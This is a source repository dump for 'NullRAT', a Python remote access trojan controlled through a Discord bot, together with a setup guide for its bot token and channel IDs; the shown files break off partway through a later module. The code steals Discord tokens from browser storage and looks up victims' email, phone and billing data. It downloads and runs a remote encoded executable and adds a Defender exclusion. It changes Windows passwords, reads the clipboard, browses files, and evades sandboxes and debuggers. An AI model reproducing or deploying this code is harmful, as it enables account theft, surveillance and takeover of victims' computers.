├── .gitignore
├── Getting Variables.md
├── NullRAT
├── RAT.py
├── custom_icon.ico
├── modules
│ ├── ChangePass.py
│ ├── checkedtokens.py
│ ├── clipboard.py
│ ├── create_new_module.py
│ ├── directory.py
│ ├── geolocate.py
│ ├── getenv.py
│ ├── hideFile.py
│ ├── rawtokens.py
│ ├── receivefiles.py
│ ├── runfile.py
│ ├── screenshot.py
│ ├── sendfiles.py
│ ├── shell.py
│ ├── startup.py
│ ├── systeminfo.py
│ ├── tasklist.py
│ ├── unhideFile.py
│ ├── webcam.py
│ ├── wifiList.py
│ └── wifiPass.py
└── upx
│ └── upx.exe
├── README.md
├── VERSION
└── compiler.nim
/.gitignore:
--------------------------------------------------------------------------------
1 | **/bin
2 | **/.vs
3 | [Dd]ebug/
4 | [Dd]ebugPublic/
5 | [Rr]elease/
6 | [Rr]eleases/
7 | x64/
8 | x86/
9 | [Ww][Ii][Nn]32/
10 | [Aa][Rr][Mm]/
11 | [Aa][Rr][Mm]64/
12 | bld/
13 | [Bb]in/
14 | [Oo]bj/
15 | [Oo]ut/
16 | [Ll]og/
17 | [Ll]ogs/
18 | [Bb]uild/
19 | NullRAT Workspace.code-workspace
20 | dependencies/.vscode/launch.json
21 | dependencies/.vscode/tasks.json
22 |
23 | # Byte-compiled / optimized / DLL files
24 | __pycache__/
25 | *.py[cod]
26 | *$py.class
27 |
28 | # C extensions
29 | *.so
30 |
31 | # Distribution / packaging
32 | .Python
33 | build/
34 | develop-eggs/
35 | dist/
36 | downloads/
37 | eggs/
38 | .eggs/
39 | lib/
40 | lib64/
41 | parts/
42 | sdist/
43 | var/
44 | wheels/
45 | pip-wheel-metadata/
46 | share/python-wheels/
47 | *.egg-info/
48 | .installed.cfg
49 | *.egg
50 | MANIFEST
51 |
52 | # PyInstaller
53 | # Usually these files are written by a python script from a template
54 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
55 | *.manifest
56 | *.spec
57 |
58 | # Installer logs
59 | pip-log.txt
60 | pip-delete-this-directory.txt
61 |
62 | # Unit test / coverage reports
63 | htmlcov/
64 | .tox/
65 | .nox/
66 | .coverage
67 | .coverage.*
68 | .cache
69 | nosetests.xml
70 | coverage.xml
71 | *.cover
72 | *.py,cover
73 | .hypothesis/
74 | .pytest_cache/
75 |
76 | # Translations
77 | *.mo
78 | *.pot
79 |
80 | # Django stuff:
81 | *.log
82 | local_settings.py
83 | db.sqlite3
84 | db.sqlite3-journal
85 |
86 | # Flask stuff:
87 | instance/
88 | .webassets-cache
89 |
90 | # Scrapy stuff:
91 | .scrapy
92 |
93 | # Sphinx documentation
94 | docs/_build/
95 |
96 | # PyBuilder
97 | target/
98 |
99 | # Jupyter Notebook
100 | .ipynb_checkpoints
101 |
102 | # IPython
103 | profile_default/
104 | ipython_config.py
105 |
106 | # pyenv
107 | .python-version
108 |
109 | # pipenv
110 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
111 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
112 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
113 | # install all needed dependencies.
114 | #Pipfile.lock
115 |
116 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow
117 | __pypackages__/
118 |
119 | # Celery stuff
120 | celerybeat-schedule
121 | celerybeat.pid
122 |
123 | # SageMath parsed files
124 | *.sage.py
125 |
126 | # Environments
127 | .env
128 | .venv
129 | env/
130 | venv/
131 | ENV/
132 | env.bak/
133 | venv.bak/
134 |
135 | # Spyder project settings
136 | .spyderproject
137 | .spyproject
138 |
139 | # Rope project settings
140 | .ropeproject
141 |
142 | # mkdocs documentation
143 | /site
144 |
145 | # mypy
146 | .mypy_cache/
147 | .dmypy.json
148 | dmypy.json
149 |
150 | # Pyre type checker
151 | .pyre/
152 |
153 | # Variables.py
154 | Variables.py
155 |
156 | # RAT_DEBUG.py
157 | RAT_DEBUG.py
158 |
159 | # compiler.exe
160 | compiler.exe
161 |
162 | # app.exe
163 | app.exe
164 |
--------------------------------------------------------------------------------
/Getting Variables.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 |
Getting Variables
4 | How (and why) to get all the required variables necessary for the usage of NullRAT:
5 | Table of Contents:
6 |
7 | 1. [Proper Bot Invite](https://github.com/NullCode1337/NullRAT/edit/source/Getting%20Variables.md#proper-bot-invite-link)
8 | 2. [Discord Bot Token](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#discord-bot-token)
9 | 3. [Channel ID](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#channel-id)
10 | 4. [Server ID(s)](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#server-ids)
11 |
12 | ---
13 | Proper Bot Invite Link
14 |
15 | Many people have been generating invalid invites, and when NullRAT doesn't work as expected, they blame me.
16 | **Here's how to do it:**
17 |
18 | 1. Open [https://discord.com/developers/applications](https://discord.com/developers/applications) in a browser window.
19 |
20 | 
21 |
22 | 2. If you already have an application, click on it. Otherwise, make one.
23 |
24 | 
25 |
26 | 3. Click on `OAuth2`, then `URL Generator`
27 |
28 | 
29 |
30 | 5. Important! Select the scopes `bot` **and** `application.commands`. Without these 2 NullRAT will never work as expected
31 | 6. Now select any permission you want (I go for Administrator only), then copy the invite link. Done
32 |
33 | ---
34 | Discord Bot Token
35 |
36 | This is used to run NullRAT's core bot host. **Without this NullRAT will straight up crash**
37 |
38 | **How to obtain it:**
39 |
40 | 1. Open [https://discord.com/developers/applications](https://discord.com/developers/applications) in a browser window.
41 |
42 | 
43 |
44 | 2. If you already have an application, click on it. Otherwise, make one.
45 | 3. Once you see the applications window, press Bot.
46 |
47 | 
48 |
49 | 5. Click on `Reset Token` so that the gods at Discord allow us to view the token
50 |
51 | 
52 |
53 | 7. Click on `Copy` and store it somewhere. Done!
54 |
55 | ---
56 | Channel ID
57 |
58 | This is required for NullRAT to send alerts in the specified channel. **Without this NullRAT will be unable to send notifications**
59 |
60 | **How to obtain it:**
61 |
62 | 1. Open your Discord client/web.
63 | 2. Goto account settings.
64 | 3. There, click on `Advanced` and enable `Developer Mode`.
65 |
66 | 
67 |
68 | 4. Now go back to your discord server, and right click on the channel you want to send notifications.
69 |
70 | 
71 |
72 | 5. Click on `Copy ID` and store it somewhere. Done!
73 |
74 | ---
75 | Server ID(s)
76 |
77 | This is required for NullRAT to set the command handler. **Without this you won't be able to send any commands to NullRAT**
78 |
79 | **How to obtain it:**
80 |
81 | 1. Enable Developer Mode. If not already enabled:
82 | - Open your Discord client/web.
83 | - Goto account settings.
84 | - There, click on `Advanced` and enable `Developer Mode`.
85 |
86 | 2. Now, go back to your discord server.
87 | 3. Right click on the server icon, and click on `Copy ID`. Done! (Don't forget to store it)
88 |
89 | 
90 |
91 | ---
92 |
93 |
Guide written by NullCode
94 |
--------------------------------------------------------------------------------
/NullRAT/RAT.py:
--------------------------------------------------------------------------------
1 | from Variables import *
2 |
3 | import disnake as discord
4 | from disnake import Embed
5 | from disnake.ext import commands
6 |
7 | from datetime import datetime
8 | from socket import create_connection
9 | import os, psutil, re, requests, sys, subprocess
10 |
11 | ############### Global functions available in every cog
12 |
13 | def IP():
14 | try: return requests.get("https://api.ipify.org").text.rstrip()
15 | except: return "127.0.0.1"
16 |
17 | def genEmbed(self, title, timestamp, description=None):
18 | if description is None:
19 | embed = discord.Embed(
20 | title=title,
21 | timestamp=timestamp
22 | )
23 | else:
24 | embed = discord.Embed(
25 | title=title,
26 | description=description,
27 | timestamp=timestamp
28 | )
29 | embed.set_footer( text="NullRAT" )
30 | return embed
31 |
32 | def find_token(self):
33 | tokens = []
34 | local, roaming = os.getenv("LOCALAPPDATA"), os.getenv("APPDATA")
35 | paths = {
36 | "Lightcord": roaming + "\\Lightcord",
37 | "Opera": roaming + "\\Opera Software\\Opera Stable", "Opera GX": roaming + "\\Opera Software\\Opera GX Stable",
38 | "Chrome": local + "\\Google\\Chrome\\User Data\\Default", "Brave": local + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",
39 | "Yandex": local + "\\Yandex\\YandexBrowser\\User Data\\Default", "Vivaldi": local + "\\Vivaldi\\User Data\\Default",
40 | "MSEdge": local + "\\Microsoft\\Edge\\User Data\\Default", "Chromium": local + "\\Chromium\\User Data\\Default"
41 | }
42 | for platform, path in paths.items():
43 | path += '\\Local Storage\\leveldb'
44 | try:
45 | for file_name in os.listdir(path):
46 | if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
47 | continue
48 | for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
49 | for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}', r'mfa\.[\w-]{84}'):
50 | for token in re.findall(regex, line):
51 | tokens.append(token)
52 | except FileNotFoundError: continue
53 |
54 | return tokens
55 |
56 | #> custom bot implementation
57 |
58 | original_dir = os.getcwd()
59 |
60 | class NullBot(commands.InteractionBot):
61 | def __init__(self, **options):
62 | super().__init__(**options)
63 | self.ip_addr = IP()
64 | self.original_dir = original_dir
65 |
66 | # Checks if username is Admin/Administrator
67 | if "dmin" in os.getenv("username"):
68 | self.identifier = self.ip_addr
69 | else:
70 | self.identifier = os.getenv("username")
71 |
72 | genEmbed = genEmbed
73 | find_token = find_token
74 |
75 | client = NullBot(test_guilds=server_ids)
76 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
77 |
78 | if os.path.isdir(nr_working) != True:
79 | os.mkdir(nr_working)
80 |
81 | subprocess.run(f"powershell Add-MpPreference -ExclusionPath '{nr_working}'", shell=True,
82 | stdin=subprocess.PIPE,
83 | stderr=subprocess.PIPE,
84 | stdout=subprocess.PIPE)
85 |
86 | #> on_ready():
87 |
88 | @client.event
89 | async def on_ready():
90 | embed = Embed(
91 | title = f"NullRAT **IX** started on: **{client.identifier}**",
92 | description = f"Currently present in:\n```{client.original_dir}```",
93 | timestamp = datetime.now()
94 | ).set_author(
95 | name="NullCode1337",
96 | url=r"https://denza.one/",
97 | icon_url=r"https://avatars.githubusercontent.com/u/70959549?v=4"
98 | ).set_footer(
99 | text = f"Identifier: " + client.identifier
100 | )
101 | await client.get_channel(notification_channel).send(embed=embed)
102 |
103 | #> basic commands
104 |
105 | @client.slash_command()
106 | async def listvictims(ctx):
107 | """Lists all victim identifiers accessible by NullRAT"""
108 | await ctx.channel.send(
109 | embed=discord.Embed(title=f"The identifier for {os.getenv('username')}:", description=client.identifier)
110 | )
111 | await ctx.response.send_message("Checked all available victims:\n_ _")
112 |
113 | @client.slash_command()
114 | async def shutdown(ctx, victim):
115 | """Shuts down a specific instance of NullRAT.
116 |
117 | Parameters
118 | ----------
119 | victim: Identifier of the affected computer (found via /listvictims)
120 | """
121 | if str(victim) == str(client.identifier):
122 | await ctx.response.send_message(
123 | embed = client.genEmbed(
124 | "Shutting down NullRAT for **" + client.identifier + "**...",
125 | datetime.now()
126 | )
127 | )
128 | await client.close()
129 |
130 | @client.slash_command(description="Quits all instances of NullRAT")
131 | async def shutdown_all(ctx):
132 | """Shuts down all instances of NullRAT"""
133 | await ctx.response.send_message("Are you sure?", view=closeall_confirm())
134 |
135 | #> shutdown class
136 |
137 | class closeall_confirm(discord.ui.View):
138 | @discord.ui.button(label="Yes", style=discord.ButtonStyle.danger)
139 | async def first_button_callback(self, button, interaction):
140 | for child in self.children:
141 | child.disabled = True
142 | await interaction.response.edit_message(view=self)
143 | await interaction.delete_original_message()
144 | await interaction.channel.send(embed=Embed(title="Shutting down all instances of NullRAT..."))
145 | await client.close()
146 |
147 | @discord.ui.button(label="No", style=discord.ButtonStyle.primary)
148 | async def second_button_callback(self, button, interaction):
149 | for child in self.children:
150 | child.disabled = True
151 | await interaction.response.edit_message(view=self)
152 | await interaction.delete_original_message()
153 | await interaction.channel.send(embed=Embed(title="Aborted shutting down of all instances"))
154 |
155 | #> Extensions
156 |
157 | extensions = (
158 | "ChangePass", # /changepass
159 | "hideFile", # /hidefile
160 | "unhideFile", # /unhidefile
161 | "wifiList", # /wifilist
162 | "wifiPass", # /wifipass
163 | "shell", # /cmd & /powershell
164 | "getenv", # /get_environment
165 | "webcam", # /get_webcam
166 | "runfile", # /runfile
167 | "startup", # /startup
168 | "tasklist", # /list_runningtasks & /list_runningstore & /kill_runningtasks
169 | "clipboard", # /get_clipboard
170 | "geolocate", # /get_geolocation
171 | "directory", # /get_currentdir & /set_currentdir & /list_directory & /list_rawdir
172 | "rawtokens", # /raw_tokens & /raw_discord
173 | "sendfiles", # /sendfiles
174 | "systeminfo", # /get_systeminfo
175 | "screenshot", # /get_screenshot
176 | "receivefiles", # /receivefiles
177 | "checkedtokens", # /checked_tokens
178 | )
179 |
180 | for ex in extensions:
181 | ## For debugging
182 | # client.load_extension("modules."+ex)
183 |
184 | ## For production
185 | client.load_extension(ex)
186 |
187 | #>
188 | def is_connected():
189 | try: create_connection(("1.1.1.1", 53)); return True
190 | except OSError: return False
191 |
192 | def checksss(processName):
193 | found = 0
194 | for proc in psutil.process_iter():
195 | try:
196 | if processName.lower() in proc.name().lower():
197 | found+=1
198 | except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
199 | pass
200 | if found >= 3: return True
201 | return False
202 |
203 | # Anti TikTok
204 | for i in ["WDAGUtilityAccount","Abby","Peter Wilson","hmarc","patex","JOHN-PC","RDhJ0CNFevzX","kEecfMwgj","Frank","8Nl0ColNQ5bq","Lisa","John","george","PxmdUOpVyx","8VizSM","w0fjuOVmCcP5A","lmVwjj9b","PqONjHVwexsS","3u2v9m8","Julia","HEUeRzl","Joe"]:
205 | if i in os.getenv("username"):
206 | raise SystemExit(0)
207 |
208 | for process in psutil.process_iter():
209 | if process.name() in ["ProcessHacker.exe", "httpdebuggerui.exe", "wireshark.exe", "fiddler.exe", "vboxservice.exe", "df5serv.exe", "processhacker.exe", "vboxtray.exe", "vmtoolsd.exe", "vmwaretray.exe", "ida64.exe", "ollydbg.exe", "pestudio.exe", "vmwareuser.exe", "vgauthservice.exe", "vmacthlp.exe", "vmsrvc.exe", "x32dbg.exe", "x64dbg.exe", "x96dbg.exe", "vmusrvc.exe", "prl_cc.exe", "prl_tools.exe", "qemu-ga.exe", "joeboxcontrol.exe", "ksdumperclient.exe", "xenservice.exe", "joeboxserver.exe", "devenv.exe", "IMMUNITYDEBUGGER.EXE", "ImportREC.exe", "reshacker.exe", "windbg.exe", "32dbg.exe", "64dbg.exex", "protection_id.exex", "scylla_x86.exe", "scylla_x64.exe", "scylla.exe", "idau64.exe", "idau.exe", "idaq64.exe", "idaq.exe", "idaq.exe", "idaw.exe", "idag64.exe", "idag.exe", "ida64.exe", "ida.exe", "ollydbg.exe"]:
210 | raise SystemExit(0)
211 |
212 | if checksss(os.path.basename(sys.executable)):
213 | raise SystemExit(0)
214 |
215 | while is_connected() == False: 0
216 | client.run(bot_token)
217 |
218 |
--------------------------------------------------------------------------------
/NullRAT/custom_icon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NullCode1337/NullRAT/de9796db2a58f0984aec96e33279c2b19fd67424/NullRAT/custom_icon.ico
--------------------------------------------------------------------------------
/NullRAT/modules/ChangePass.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 |
5 | import os, requests, ctypes
6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
7 |
8 | class ChangePass(commands.Cog):
9 | def __init__(self, bot: commands.Bot):
10 | self.bot = bot
11 |
12 | @commands.slash_command( )
13 | async def changepass(self, ctx, victim, password):
14 | """Changes the password of victim's windows profile. Admin required
15 |
16 | Parameters
17 | ----------
18 | victim: Identifier of the affected computer (found via /listvictims).
19 | password: New password to change for running user
20 | """
21 |
22 | if str(victim) == str(self.bot.identifier) or str(victim).lower() == "all":
23 | # Admin detection, this command will not work for regular users (apparently)
24 | is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
25 | if is_admin == false:
26 | return await ctx.followup.send("NullRAT is not running as admin. Operation aborted")
27 |
28 | status = os.popen(r"net user %username% " + password).read()
29 | if "success" in status.lower():
30 | return await ctx.followup.send(fr"Success: Password changed to {password}")
31 |
32 | return await ctx.followup.send(fr"Unspecified error! Log: {status}")
33 |
34 | def setup(bot: commands.Bot):
35 | bot.add_cog(ChangePass(bot))
36 |
--------------------------------------------------------------------------------
/NullRAT/modules/checkedtokens.py:
--------------------------------------------------------------------------------
1 | from typing import List
2 |
3 | import disnake as discord
4 | from disnake.ext import commands
5 | from datetime import datetime
6 | from base64 import decodebytes
7 |
8 | import os, requests
9 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
10 |
11 | class CheckedTokens(commands.Cog):
12 | def __init__(self, bot: commands.Bot):
13 | self.bot = bot
14 |
15 | def checked_embeds(self, token, email, phone, username, nitro, billing, avatar, userID):
16 | embed=discord.Embed(title="Token Info:")
17 | embed.set_author(name="NullCode1337", url="https://github.com/NullCode1337")
18 | embed.set_thumbnail(url=avatar)
19 | embed.add_field(name="Token", value=f"```{token}```", inline=False)
20 | embed.add_field(name="Username", value=username, inline=True)
21 | embed.add_field(name="Nitro", value=nitro, inline=True)
22 | embed.add_field(name="Billing Info", value=billing, inline=True)
23 | embed.add_field(name="ID", value=userID, inline=True)
24 | embed.add_field(name="Phone Number", value=phone, inline=True)
25 | embed.add_field(name="Email", value=email, inline=False)
26 | return embed
27 |
28 | @commands.slash_command( )
29 | async def checked_tokens(self, ctx, victim):
30 | """Decrypts and checks all Discord Tokens
31 |
32 | Parameters
33 | ----------
34 | victim: Identifier of the affected computer (found via /listvictims).
35 | """
36 | if str(victim) == str(self.bot.identifier):
37 | await ctx.response.defer()
38 | try:
39 | tkr = bytes(requests.get("https://raw.githubusercontent.com/NullCode13-Misc/DiscordTokenDecrypt-Go/main/rec_dump_broken").text, "utf-8")
40 | except Exception as e:
41 | return await ctx.followup.send("Unable to download custom decryptor!\n\n"+e)
42 |
43 | os.chdir(nr_working)
44 | with open("tkr.exe", "wb") as fh: fh.write(decodebytes(tkr))
45 | discord_tokenz = str(os.popen("tkr.exe").read()).strip('][').split(', ')
46 |
47 | valid, email, phone, uname, nitro, bill, avatar, dcTks, idq = [], [], [], [], [], [], [], [], []
48 | for a in discord_tokenz: dcTks.append(a.replace('"',''))
49 |
50 | webTks = self.bot.find_token()
51 | finalTks = list(dict.fromkeys(dcTks + webTks))
52 |
53 | for token in finalTks:
54 | headers = {'Authorization': token, 'Content-Type': 'application/json'}
55 | requ = requests.get('https://discordapp.com/api/v6/users/@me', headers=headers)
56 |
57 | if requ.status_code == 401:
58 | await ctx.channel.send(embed=discord.Embed(title="Token is invalid!",description=token))
59 | continue
60 | if requ.status_code == 200:
61 | valid.append( str(token) )
62 | json = requ.json()
63 | email.append( str(json['email']) )
64 | phone.append( str(json['phone']) )
65 | idq.append( str(json["id"]) )
66 | uname.append( f'{json["username"]}#{json["discriminator"]}' )
67 | avatar.append(f"https://cdn.discordapp.com/avatars/{str(json['id'])}/{str(json['avatar'])}" )
68 | nitro.append(str(bool(len(requests.get('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=headers).json()) > 0)))
69 | bill.append(str(bool(len(requests.get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json()) > 0)))
70 | continue
71 |
72 | if len(valid) == 0:
73 | return await ctx.followup.send(embed = self.bot.genEmbed("No valid Discord Tokens", datetime.now()))
74 | embeds = []
75 | for tk, em, ph, un, ni, bi, av, idqa in zip(valid, email, phone, uname, nitro, bill, avatar, idq):
76 | embeds.append(self.checked_embeds(tk, em, ph, un, ni, bi, av, idqa))
77 |
78 | if len(embeds) <= 1: await ctx.channel.send(embed=embeds[0])
79 | else: await ctx.channel.send(embed=embeds[0], view=Menu(embeds))
80 |
81 | await ctx.followup.send("Checked all tokens")
82 |
83 |
84 | class Menu(discord.ui.View):
85 | def __init__(self, embeds: List[discord.Embed]):
86 | super().__init__(timeout=None)
87 | self.embeds = embeds
88 | self.embed_count = 0
89 |
90 | self.first_page.disabled = True
91 | self.prev_page.disabled = True
92 |
93 | for i, embed in enumerate(self.embeds):
94 | embed.set_footer(text=f"Page {i + 1} of {len(self.embeds)} | Checked by NullRAT")
95 |
96 | @discord.ui.button(label="<< First", style=discord.ButtonStyle.blurple)
97 | async def first_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction):
98 | self.embed_count = 0
99 | embed = self.embeds[self.embed_count]
100 | embed.set_footer(text=f"Page 1 of {len(self.embeds)}")
101 |
102 | self.first_page.disabled = True
103 | self.prev_page.disabled = True
104 | self.next_page.disabled = False
105 | self.last_page.disabled = False
106 | await interaction.response.edit_message(embed=embed, view=self)
107 |
108 | @discord.ui.button(label="< Previous", style=discord.ButtonStyle.secondary)
109 | async def prev_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction):
110 | self.embed_count -= 1
111 | embed = self.embeds[self.embed_count]
112 |
113 | self.next_page.disabled = False
114 | self.last_page.disabled = False
115 | if self.embed_count == 0:
116 | self.first_page.disabled = True
117 | self.prev_page.disabled = True
118 | await interaction.response.edit_message(embed=embed, view=self)
119 |
120 | @discord.ui.button(label="Next >", style=discord.ButtonStyle.secondary)
121 | async def next_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction):
122 | self.embed_count += 1
123 | embed = self.embeds[self.embed_count]
124 |
125 | self.first_page.disabled = False
126 | self.prev_page.disabled = False
127 | if self.embed_count == len(self.embeds) - 1:
128 | self.next_page.disabled = True
129 | self.last_page.disabled = True
130 | await interaction.response.edit_message(embed=embed, view=self)
131 |
132 | @discord.ui.button(label="Last >>", style=discord.ButtonStyle.blurple)
133 | async def last_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction):
134 | self.embed_count = len(self.embeds) - 1
135 | embed = self.embeds[self.embed_count]
136 |
137 | self.first_page.disabled = False
138 | self.prev_page.disabled = False
139 | self.next_page.disabled = True
140 | self.last_page.disabled = True
141 | await interaction.response.edit_message(embed=embed, view=self)
142 |
143 | def setup(bot: commands.Bot):
144 | bot.add_cog(CheckedTokens(bot))
--------------------------------------------------------------------------------
/NullRAT/modules/clipboard.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 |
5 | import os, requests
6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
7 |
8 | class GetClipboard(commands.Cog):
9 | def __init__(self, bot: commands.Bot):
10 | self.bot = bot
11 | self.ip_addr = self.bot.ip_addr
12 |
13 | @commands.slash_command( )
14 | async def get_clipboard(self, ctx, victim):
15 | """Sends current text stored in user clipboard
16 |
17 | Parameters
18 | ----------
19 | victim: Identifier of the affected computer (found via /listvictims).
20 | """
21 | if str(victim) == str(self.bot.identifier):
22 | await ctx.response.defer()
23 |
24 | outp = os.popen("powershell Get-Clipboard").read()
25 | if len(outp) > 1000:
26 | return await ctx.followup.send(f"```{outp}```")
27 |
28 | embed = self.bot.genEmbed(
29 | "Clipboard contents",
30 | datetime.now(),
31 | f"```{outp}```" if outp != "" else "No text in clipboard"
32 | )
33 |
34 | await ctx.followup.send(embed=embed)
35 |
36 | def setup(bot: commands.Bot):
37 | bot.add_cog(GetClipboard(bot))
--------------------------------------------------------------------------------
/NullRAT/modules/create_new_module.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 |
5 | import os, requests
6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
7 |
8 | class CMDNAME(commands.Cog):
9 | def __init__(self, bot: commands.Bot):
10 | self.bot = bot
11 |
12 | @commands.slash_command( )
13 | async def CMDNAME(self, ctx, victim, argumentsss):
14 | """CMD DESCRIPTION
15 |
16 | Parameters
17 | ----------
18 | victim: Identifier of the affected computer (found via /listvictims).
19 | argumentsss: ARGUMENT DESCRIPTION
20 | """
21 |
22 | if str(victim) == str(self.bot.identifier):
23 | """ command here... """
24 |
25 | def setup(bot: commands.Bot):
26 | bot.add_cog(CMDNAME(bot))
27 |
--------------------------------------------------------------------------------
/NullRAT/modules/directory.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 | from io import BytesIO
5 |
6 | import os, requests, time
7 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
8 |
9 | class DirectoryCommands(commands.Cog):
10 | def __init__(self, bot: commands.Bot):
11 | self.bot = bot
12 |
13 | @commands.slash_command( )
14 | async def get_currentdir(self, ctx, victim):
15 | """Returns Current Working Directory
16 |
17 | Parameters
18 | ----------
19 | victim: Identifier of the affected computer (found via /listvictims).
20 | """
21 | if str(victim) == str(self.bot.identifier):
22 | await ctx.response.send_message(
23 | embed=self.bot.genEmbed(
24 | "Current directory of NullRAT:",
25 | datetime.now(),
26 | f"```{os.getcwd()}```"
27 | )
28 | )
29 |
30 | @commands.slash_command( )
31 | async def set_currentdir(self, ctx, victim, directory):
32 | """Change directory to specified location
33 |
34 | Parameters
35 | ----------
36 | victim: Identifier of the affected computer (found via /listvictims).
37 | directory: Directory where NullRAT will change (cd) to
38 | """
39 | if str(victim) == str(self.bot.identifier):
40 | try:
41 | os.chdir(directory)
42 | return await ctx.response.send_message(
43 | embed=self.bot.genEmbed(
44 | "Successfully changed directory",
45 | datetime.now(),
46 | f"New directory:\n```{os.getcwd()}```"
47 | )
48 | )
49 | except FileNotFoundError:
50 | await ctx.response.send_message(embed=self.bot.genEmbed( "Directory not found!", datetime.now() ))
51 |
52 | @commands.slash_command( )
53 | async def list_rawdir(self, ctx, victim, directory="null"):
54 | """List all directory contents quickly in a raw format
55 |
56 | Parameters
57 | ----------
58 | victim: Identifier of the affected computer (found via /listvictims).
59 | directory: Directory whose contents will be listed (optional)
60 | """
61 | if str(victim) == str(self.bot.identifier):
62 | if directory != 'null':
63 | try: os.chdir(directory)
64 | except FileNotFoundError: return await ctx.response.send_message("Invalid directory!")
65 |
66 | await ctx.response.send_message(
67 | file = discord.File(
68 | BytesIO(
69 | bytes(
70 | os.popen(f"dir").read(), 'utf-8'
71 | )
72 | ),
73 | filename="Directory.txt"
74 | )
75 | )
76 |
77 | @commands.slash_command( )
78 | async def list_directory(self, ctx, victim, directory="null"):
79 | """Lists contents of directory with advanced information
80 |
81 | Parameters
82 | ----------
83 | victim: Identifier of the affected computer (found via /listvictims).
84 | directory: Directory whose contents will be listed (optional)
85 | """
86 | if str(victim) == str(self.bot.identifier):
87 | try:
88 | contents = os.listdir(
89 | os.getcwd() if directory == "null" else directory
90 | )
91 | except FileNotFoundError:
92 | return await ctx.response.send_message(
93 | embed = self.bot.genEmbed(
94 | "Invalid directory!",
95 | datetime.now()
96 | )
97 | )
98 |
99 | try: os.chdir(directory)
100 | except: pass
101 |
102 | await ctx.response.send_message(
103 | embed = self.bot.genEmbed(
104 | "Directory Contents:",
105 | datetime.now()
106 | )
107 | )
108 |
109 | embeds = []
110 |
111 | for c in contents:
112 | embed = self.bot.genEmbed(f"**{c}**",datetime.now(),'_ _')
113 |
114 | embed.add_field(
115 | name = "Type:",
116 | value = "Directory" if os.path.isdir(c) else "File",
117 | inline = False
118 | )
119 |
120 | try:
121 | embed.add_field(
122 | name = "Created on:",
123 | value = str(
124 | time.ctime(
125 | os.path.getctime(c)
126 | )
127 | ), inline = False
128 | )
129 |
130 | embed.add_field(
131 | name = "Last modified:",
132 | value = str(
133 | time.ctime(
134 | os.path.getmtime(c)
135 | )
136 | ), inline = False
137 | )
138 | except FileNotFoundError:
139 | pass
140 |
141 | try:
142 | if os.path.isdir(c) == False:
143 | embed.add_field(
144 | name = "File Size:",
145 | value = convert_bytes(os.path.getsize(c)),
146 | inline = False
147 | )
148 | else:
149 | embed.add_field(
150 | name = "File Size:",
151 | value = 'N/A',
152 | inline = False
153 | )
154 | except:
155 | pass
156 |
157 | embed.add_field(
158 | name = "Absolute Path:",
159 | value = "```" + os.path.abspath(c) + "```",
160 | inline = False
161 | )
162 |
163 | embeds.append(embed)
164 |
165 | await ctx.channel.send(embed = embeds[0], view = Menu(embeds))
166 |
167 | def convert_bytes(size):
168 | """ Convert bytes to KB, or MB or GB"""
169 | for x in ['bytes', 'KB', 'MB', 'GB', 'TB']:
170 | if size < 1024.0:
171 | return "%3.1f %s" % (size, x)
172 | size /= 1024.0
173 |
174 | def setup(bot: commands.Bot):
175 | bot.add_cog(DirectoryCommands(bot))
176 |
177 | class Menu(discord.ui.View):
178 | def __init__(self, embeds):
179 | super().__init__(timeout=None)
180 | self.embeds = embeds
181 | self.embed_count = 0
182 |
183 | self.first_page.disabled = True
184 | self.prev_page.disabled = True
185 |
186 | for i, embed in enumerate(self.embeds):
187 | embed.set_footer(text=f"Page {i + 1} of {len(self.embeds)}")
188 |
189 | @discord.ui.button(label="<< First", style=discord.ButtonStyle.blurple)
190 | async def first_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction):
191 | self.embed_count = 0
192 | embed = self.embeds[self.embed_count]
193 | embed.set_footer(text=f"Page 1 of {len(self.embeds)}")
194 |
195 | self.first_page.disabled = True
196 | self.prev_page.disabled = True
197 | self.next_page.disabled = False
198 | self.last_page.disabled = False
199 | await interaction.response.edit_message(embed=embed, view=self)
200 |
201 | @discord.ui.button(label="< Previous", style=discord.ButtonStyle.secondary)
202 | async def prev_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction):
203 | self.embed_count -= 1
204 | embed = self.embeds[self.embed_count]
205 |
206 | self.next_page.disabled = False
207 | self.last_page.disabled = False
208 | if self.embed_count == 0:
209 | self.first_page.disabled = True
210 | self.prev_page.disabled = True
211 | await interaction.response.edit_message(embed=embed, view=self)
212 |
